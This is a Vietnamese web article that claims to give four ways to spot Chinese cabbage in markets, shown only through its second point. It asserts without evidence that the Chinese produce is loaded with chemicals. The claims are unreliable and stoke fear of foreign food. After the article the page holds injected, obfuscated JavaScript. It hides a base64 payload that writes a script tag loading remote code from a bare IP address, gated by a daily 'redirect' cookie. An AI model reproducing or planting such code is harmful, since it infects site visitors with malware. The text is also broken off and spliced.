Bắp cải Trung Quốc ngoài chợ nhiều hơn Việt Nam! Nhớ kĩ 4 điểm nhận dạng này để tránh xa

Mùa đông là vụ thu hoạch của rất nhiều loại rau củ, trong đó có rau cải bắp – nguyên liệu chế biến các món xào, hầm, canh ngon tuyệt mà hầu như nhà ai cũng thích.

Nhiều người tiêu dùng không biết rằng: Cải bắp là rau chỉ có vào mùa đông. Tuy nhiên chúng ta vẫn ăn cải bắp quanh năm là từ đâu ra? Một tỉ lệ ít trong số đó có thể là rau từ những vùng cao (có không khí lạnh) nhập về nhưng phần lớn chính là cải bắp từ Trung Quốc.

Thời điểm này – ngay cả khi cải bắp Việt Nam đã bắt đầu vào mùa thì lượng rau ‘không chính thống’ vẫn tràn lan khắp các quầy hàng, từ siêu thị đến chợ thực phẩm. Nếu là những người tiêu dùng khôn ngoan, chị em nhất định phải nhớ những dấu hiệu nhận biết này để không ăn nhầm ‘hàng giả’.

1. Về kích thước, hình dáng

Cải bắp Trung Quốc thường được dùng một lượng lớn hóa chất, thuốc kích thích, bảo quản nên hay có kích thước đồng đều, to nhỏ gần bằng nhau và thường chỉ lớn hơn nắm tay của người lớn một chút.

Nếu là người thường xuyên đi mua hàng, bạn sẽ nhận thấy cải bắp Việt Nam có kích thước lớn hơn hẳn cải bắp Trung Quốc và không hề đồng đều nhau.

Ngoài ra, cải bắp Trung Quốc có hình dáng tròn đều trong khi cải bắp Việt Nam thì thường có hình tròn dẹt.

2. Về màu sắc

Cũng vì lý do được ngâm tẩm nhiều hóa chất, các chất kích thích nên cải bắp Trung Quốc thường có màu xanh nhạt, láng bóng, trông rất bắt mắt và đặc biệt là không hề có sâu bọ.




#(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.